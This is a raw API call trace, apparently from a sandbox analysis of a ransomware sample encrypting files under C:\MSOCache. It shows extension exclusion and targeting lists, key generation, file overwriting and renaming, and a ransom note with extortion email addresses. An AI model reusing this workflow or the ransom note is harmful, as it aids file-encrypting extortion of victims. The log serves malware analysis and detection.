	[0075.658] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0075.658] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x3a7030
	[0075.658] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0075.658] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0075.659] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0075.659] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0075.659] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0075.659] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0075.659] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x27f1268
	[0075.659] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=19564913878) returned 1
	[0075.659] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x970ab770, dwHighDateTime=0x1d60e1e)) 
	[0075.659] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0075.659] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0075.659] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356fc0
	[0075.659] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fa580
	[0075.659] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0075.659] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa580 | out: hHeap=0x300000) returned 1
	[0075.659] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0075.659] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0075.659] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e7648
	[0075.659] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0075.660] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0075.660] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7648 | out: hHeap=0x300000) returned 1
	[0075.660] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0075.660] GetLastError () returned 0x0
	[0075.660] SetLastError (dwErrCode=0x0) 
	[0075.660] GetLastError () returned 0x0
	[0075.660] SetLastError (dwErrCode=0x0) 
	[0075.660] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0075.660] GetLastError () returned 0x0
	[0075.660] SetLastError (dwErrCode=0x0) 
	[0075.660] GetLastError () returned 0x0
	[0075.660] SetLastError (dwErrCode=0x0) 
	[0075.660] GetLastError () returned 0x0
	[0075.660] SetLastError (dwErrCode=0x0) 
	[0075.660] GetLastError () returned 0x0
	[0075.660] SetLastError (dwErrCode=0x0) 
	[0075.661] GetLastError () returned 0x0
	[0075.661] SetLastError (dwErrCode=0x0) 
	[0075.661] GetLastError () returned 0x0
	[0075.661] SetLastError (dwErrCode=0x0) 
	[0075.661] GetLastError () returned 0x0
	[0075.661] SetLastError (dwErrCode=0x0) 
	[0075.661] GetLastError () returned 0x0
	[0075.661] SetLastError (dwErrCode=0x0) 
	[0075.661] GetLastError () returned 0x0
	[0075.661] SetLastError (dwErrCode=0x0) 
	[0075.661] GetLastError () returned 0x0
	[0075.661] SetLastError (dwErrCode=0x0) 
	[0075.661] GetLastError () returned 0x0
	[0075.661] SetLastError (dwErrCode=0x0) 
	[0075.661] GetLastError () returned 0x0
	[0075.661] SetLastError (dwErrCode=0x0) 
	[0075.661] GetLastError () returned 0x0
	[0075.661] SetLastError (dwErrCode=0x0) 
	[0075.661] GetLastError () returned 0x0
	[0075.661] SetLastError (dwErrCode=0x0) 
	[0075.661] GetLastError () returned 0x0
	[0075.661] SetLastError (dwErrCode=0x0) 
	[0075.661] GetLastError () returned 0x0
	[0075.661] SetLastError (dwErrCode=0x0) 
	[0075.661] GetLastError () returned 0x0
	[0075.662] SetLastError (dwErrCode=0x0) 
	[0075.662] GetLastError () returned 0x0
	[0075.662] SetLastError (dwErrCode=0x0) 
	[0075.662] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8008 | out: hHeap=0x300000) returned 1
	[0075.662] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x19000) returned 0x280bfd0
	[0075.662] ReadFile (in: hFile=0x128, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x24dfec0*=0x251f, lpOverlapped=0x0) returned 1
	[0075.668] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffdae1, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0075.668] WriteFile (in: hFile=0x128, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x251f, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x24dfec0*=0x251f, lpOverlapped=0x0) returned 1
	[0075.668] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0075.668] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.668] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0075.668] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0075.668] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0075.668] CloseHandle (hObject=0x128) returned 1
	[0075.669] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a55d8
	[0075.669] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.~~~~" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml.~~~~")) returned 1
	[0075.669] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a55d8 | out: hHeap=0x300000) returned 1
	[0075.669] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356fc0 | out: hHeap=0x300000) returned 1
	[0075.669] GetLastError () returned 0x0
	[0075.669] SetLastError (dwErrCode=0x0) 
	[0075.669] GetLastError () returned 0x0
	[0075.669] SetLastError (dwErrCode=0x0) 
	[0075.669] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362400 | out: hHeap=0x300000) returned 1
	[0075.669] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3623e0 | out: hHeap=0x300000) returned 1
	[0075.669] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x368bb0 | out: hHeap=0x300000) returned 1
	[0075.669] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f1268 | out: hHeap=0x300000) returned 1
	[0075.669] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7030 | out: hHeap=0x300000) returned 1
	[0075.669] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e76f0 | out: hHeap=0x300000) returned 1
	[0075.669] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e73a8 | out: hHeap=0x300000) returned 1
	[0075.669] RtlWakeConditionVariable () returned 0x365f70
	[0075.670] GetCurrentThreadId () returned 0x3a4
	[0075.670] GetCurrentThreadId () returned 0x3a4
	[0075.670] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e73a8
	[0075.670] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7798 | out: hHeap=0x300000) returned 1
	[0075.670] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa5b8 | out: hHeap=0x300000) returned 1
	[0075.670] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7798
	[0075.670] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Read~ME.txt" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
	[0075.670] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0075.670] WriteFile (in: hFile=0x128, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x24dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x24dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0075.671] CloseHandle (hObject=0x128) returned 1
	[0075.671] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7798 | out: hHeap=0x300000) returned 1
	[0075.671] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e73a8 | out: hHeap=0x300000) returned 1
	[0075.671] RtlWakeConditionVariable () returned 0x365f70
	[0075.671] GetCurrentThreadId () returned 0x3a4
	[0075.671] GetCurrentThreadId () returned 0x3a4
	[0075.671] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0075.671] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fad68 | out: hHeap=0x300000) returned 1
	[0075.671] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa5f0 | out: hHeap=0x300000) returned 1
	[0075.671] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fbf50
	[0075.671] lstrlenW (lpString=".scr") returned 4
	[0075.671] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\.", lpSrch=".scr") returned 0x0
	[0075.671] lstrlenW (lpString=".cmd") returned 4
	[0075.672] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\.", lpSrch=".cmd") returned 0x0
	[0075.672] lstrlenW (lpString=".dll") returned 4
	[0075.672] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\.", lpSrch=".dll") returned 0x0
	[0075.672] lstrlenW (lpString=".bat") returned 4
	[0075.672] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\.", lpSrch=".bat") returned 0x0
	[0075.672] lstrlenW (lpString=".cpl") returned 4
	[0075.672] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\.", lpSrch=".cpl") returned 0x0
	[0075.672] lstrlenW (lpString=".sys") returned 4
	[0075.672] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\.", lpSrch=".sys") returned 0x0
	[0075.672] lstrlenW (lpString=".msc") returned 4
	[0075.672] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\.", lpSrch=".msc") returned 0x0
	[0075.672] lstrlenW (lpString=".com") returned 4
	[0075.672] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\.", lpSrch=".com") returned 0x0
	[0075.672] lstrlenW (lpString=".lnk") returned 4
	[0075.672] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\.", lpSrch=".lnk") returned 0x0
	[0075.672] lstrlenW (lpString=".msp") returned 4
	[0075.672] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\.", lpSrch=".msp") returned 0x0
	[0075.672] lstrlenW (lpString=".pif") returned 4
	[0075.672] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\.", lpSrch=".pif") returned 0x0
	[0075.672] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0075.672] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\.", lpSrch="msp\r\n.pif") returned 0x0
	[0075.672] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\." (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0075.672] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fbf50 | out: hHeap=0x300000) returned 1
	[0075.672] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8008 | out: hHeap=0x300000) returned 1
	[0075.672] RtlWakeConditionVariable () returned 0x365f70
	[0075.672] GetCurrentThreadId () returned 0x3a4
	[0075.672] GetCurrentThreadId () returned 0x3a4
	[0075.672] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0075.672] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fae00 | out: hHeap=0x300000) returned 1
	[0075.672] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa628 | out: hHeap=0x300000) returned 1
	[0075.672] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fbf50
	[0075.673] lstrlenW (lpString=".scr") returned 4
	[0075.673] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\..", lpSrch=".scr") returned 0x0
	[0075.673] lstrlenW (lpString=".cmd") returned 4
	[0075.673] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\..", lpSrch=".cmd") returned 0x0
	[0075.673] lstrlenW (lpString=".dll") returned 4
	[0075.673] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\..", lpSrch=".dll") returned 0x0
	[0075.673] lstrlenW (lpString=".bat") returned 4
	[0075.673] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\..", lpSrch=".bat") returned 0x0
	[0075.673] lstrlenW (lpString=".cpl") returned 4
	[0075.673] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\..", lpSrch=".cpl") returned 0x0
	[0075.673] lstrlenW (lpString=".sys") returned 4
	[0075.673] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\..", lpSrch=".sys") returned 0x0
	[0075.673] lstrlenW (lpString=".msc") returned 4
	[0075.673] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\..", lpSrch=".msc") returned 0x0
	[0075.673] lstrlenW (lpString=".com") returned 4
	[0075.673] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\..", lpSrch=".com") returned 0x0
	[0075.673] lstrlenW (lpString=".lnk") returned 4
	[0075.673] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\..", lpSrch=".lnk") returned 0x0
	[0075.673] lstrlenW (lpString=".msp") returned 4
	[0075.673] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\..", lpSrch=".msp") returned 0x0
	[0075.673] lstrlenW (lpString=".pif") returned 4
	[0075.673] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\..", lpSrch=".pif") returned 0x0
	[0075.673] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0075.673] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\..", lpSrch="msp\r\n.pif") returned 0x0
	[0075.673] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\.." (normalized: "c:\\msocache\\all users"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0075.673] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fbf50 | out: hHeap=0x300000) returned 1
	[0075.673] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8008 | out: hHeap=0x300000) returned 1
	[0075.673] RtlWakeConditionVariable () returned 0x365f70
	[0075.673] GetCurrentThreadId () returned 0x3a4
	[0075.674] GetCurrentThreadId () returned 0x3a4
	[0075.674] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a55d8
	[0075.674] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4270 | out: hHeap=0x300000) returned 1
	[0075.674] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa660 | out: hHeap=0x300000) returned 1
	[0075.674] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4270
	[0075.674] lstrlenW (lpString=".scr") returned 4
	[0075.674] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi", lpSrch=".scr") returned 0x0
	[0075.674] lstrlenW (lpString=".cmd") returned 4
	[0075.674] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi", lpSrch=".cmd") returned 0x0
	[0075.674] lstrlenW (lpString=".dll") returned 4
	[0075.674] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi", lpSrch=".dll") returned 0x0
	[0075.674] lstrlenW (lpString=".bat") returned 4
	[0075.674] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi", lpSrch=".bat") returned 0x0
	[0075.674] lstrlenW (lpString=".cpl") returned 4
	[0075.674] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi", lpSrch=".cpl") returned 0x0
	[0075.674] lstrlenW (lpString=".sys") returned 4
	[0075.674] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi", lpSrch=".sys") returned 0x0
	[0075.674] lstrlenW (lpString=".msc") returned 4
	[0075.674] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi", lpSrch=".msc") returned 0x0
	[0075.674] lstrlenW (lpString=".com") returned 4
	[0075.674] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi", lpSrch=".com") returned 0x0
	[0075.674] lstrlenW (lpString=".lnk") returned 4
	[0075.674] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi", lpSrch=".lnk") returned 0x0
	[0075.674] lstrlenW (lpString=".msp") returned 4
	[0075.674] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi", lpSrch=".msp") returned 0x0
	[0075.674] lstrlenW (lpString=".pif") returned 4
	[0075.674] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi", lpSrch=".pif") returned 0x0
	[0075.674] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0075.674] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi", lpSrch="msp\r\n.pif") returned 0x0
	[0075.674] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
	[0075.675] lstrlenW (lpString=".sqb") returned 4
	[0075.676] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi", lpSrch=".sqb") returned 0x0
	[0075.676] lstrlenW (lpString=".ost") returned 4
	[0075.676] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi", lpSrch=".ost") returned 0x0
	[0075.676] lstrlenW (lpString=".txt") returned 4
	[0075.676] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi", lpSrch=".txt") returned 0x0
	[0075.676] lstrlenW (lpString=".mdt") returned 4
	[0075.676] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi", lpSrch=".mdt") returned 0x0
	[0075.676] lstrlenW (lpString=".BDB") returned 4
	[0075.676] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi", lpSrch=".BDB") returned 0x0
	[0075.676] lstrlenW (lpString=".eql") returned 4
	[0075.676] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi", lpSrch=".eql") returned 0x0
	[0075.676] lstrlenW (lpString=".DBF") returned 4
	[0075.676] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi", lpSrch=".DBF") returned 0x0
	[0075.676] lstrlenW (lpString=".EQL") returned 4
	[0075.676] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi", lpSrch=".EQL") returned 0x0
	[0075.676] lstrlenW (lpString=".FDB") returned 4
	[0075.676] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi", lpSrch=".FDB") returned 0x0
	[0075.676] lstrlenW (lpString=".EDB") returned 4
	[0075.676] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi", lpSrch=".EDB") returned 0x0
	[0075.676] lstrlenW (lpString=".DACPAC") returned 7
	[0075.676] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi", lpSrch=".DACPAC") returned 0x0
	[0075.676] lstrlenW (lpString=".VHD") returned 4
	[0075.676] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi", lpSrch=".VHD") returned 0x0
	[0075.676] lstrlenW (lpString=".DBV") returned 4
	[0075.676] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi", lpSrch=".DBV") returned 0x0
	[0075.676] lstrlenW (lpString=".dacpac") returned 7
	[0075.676] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi", lpSrch=".dacpac") returned 0x0
	[0075.676] lstrlenW (lpString=".sdf") returned 4
	[0075.676] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi", lpSrch=".sdf") returned 0x0
	[0075.676] lstrlenW (lpString=".accdb") returned 6
	[0075.676] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi", lpSrch=".accdb") returned 0x0
	[0075.677] lstrlenW (lpString=".DBX") returned 4
	[0075.677] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi", lpSrch=".DBX") returned 0x0
	[0075.677] lstrlenW (lpString=".MDT") returned 4
	[0075.677] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi", lpSrch=".MDT") returned 0x0
	[0075.677] lstrlenW (lpString=".SQB") returned 4
	[0075.677] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi", lpSrch=".SQB") returned 0x0
	[0075.677] lstrlenW (lpString=".vhd") returned 4
	[0075.677] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi", lpSrch=".vhd") returned 0x0
	[0075.677] lstrlenW (lpString=".bac") returned 4
	[0075.677] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi", lpSrch=".bac") returned 0x0
